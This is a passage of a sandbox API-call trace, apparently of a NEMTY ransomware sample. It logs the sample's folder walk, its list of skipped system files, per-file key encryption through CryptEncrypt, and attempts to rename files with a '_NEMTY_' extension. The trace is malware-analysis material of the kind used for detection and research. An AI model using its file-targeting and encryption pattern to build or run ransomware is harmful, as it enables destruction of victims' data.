pszString="EMo6QdmrkjlfJQWWwfBDvNys+5XKo1exJ4UT/7kHw8wwKNwviyKEdJUyyCPEjVnU\r\nAn2Vmnth10PVQqRY+QcS+VRX2PbVapYSnbIRV4upNHapZz3UtOQV9/5aHolcEA7K\r\nsLIICr+ZOtIcCwLlXWpaan6O7+27BGPI83U/ZF+FtXEB9tTMKkRS3AmUmGYoy0as\r\nSJZ+/O1np3XAAC+J7GHXRL/XzNTSMuhK6fUsUzRLQfDgW0LPVHh5bsfcdHrN6zLV\r\n8kvrEG8nfrpzPj3sVB/xGGOkI0jlViQFbQQE3HTxujKplfGghTCBSMjeFJQ4gcYc\r\nuVPJzENUGIwFvq1gOnfLcg==\r\n", pcchString=0x653e91c) returned 1 [0079.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0079.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0079.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0079.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0079.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0079.371] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.372] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0079.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0079.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.372] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.428] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0079.479] CloseHandle (hObject=0xffffffff) returned 0 [0079.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0079.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0079.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0079.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0079.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0079.479] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0079.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0079.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0079.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0079.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.480] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0079.480] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0079.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0079.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0079.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0079.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0079.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0079.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0079.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0079.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0079.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0079.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0079.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0079.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0079.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0079.481] Sleep (dwMilliseconds=0x5) [0079.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe307a3b0, dwHighDateTime=0x1d561e7)) [0079.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe307a3b0, dwHighDateTime=0x1d561e7)) [0079.495] GetLastError () returned 0x5 [0079.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.495] GetLastError () returned 0x5 [0079.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0079.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0079.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0079.496] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0079.496] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="Q8ahHwImP10lFuNQBExuQMVGR8aEBKUcy79W2+39zBctdaWwfKqUlYaWa8vcMTHf\r\nS/IcrMjOY9ob8PZHUv05TxlggtoQjT4fnVORyOzjUnDisUFA9F/ULU1TJ16BNtIF\r\nhC5cBEQ9f2QFKwd7d7Wzy1iMvGEvRxth+KMHFeb/sWhYwDwgavwswai33HmoOIrY\r\nBieGsRbfq+8KSJYXA4GRMfcqLwOKLirSAfriqQ0fPEPQQaoKBxfH3zFTLjXoOnvL\r\nRUaU+1SyH1+fFCRVtGQaOyYYiB3Yc058wlVmxANUqlTXdCm2Ae1zovQ60VagPT3r\r\nMYfxeDWMzkEqNZ7XnExtaw==\r\n", pcchString=0x653e91c) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0079.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0079.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0079.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0079.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0079.496] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.496] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0079.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0079.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 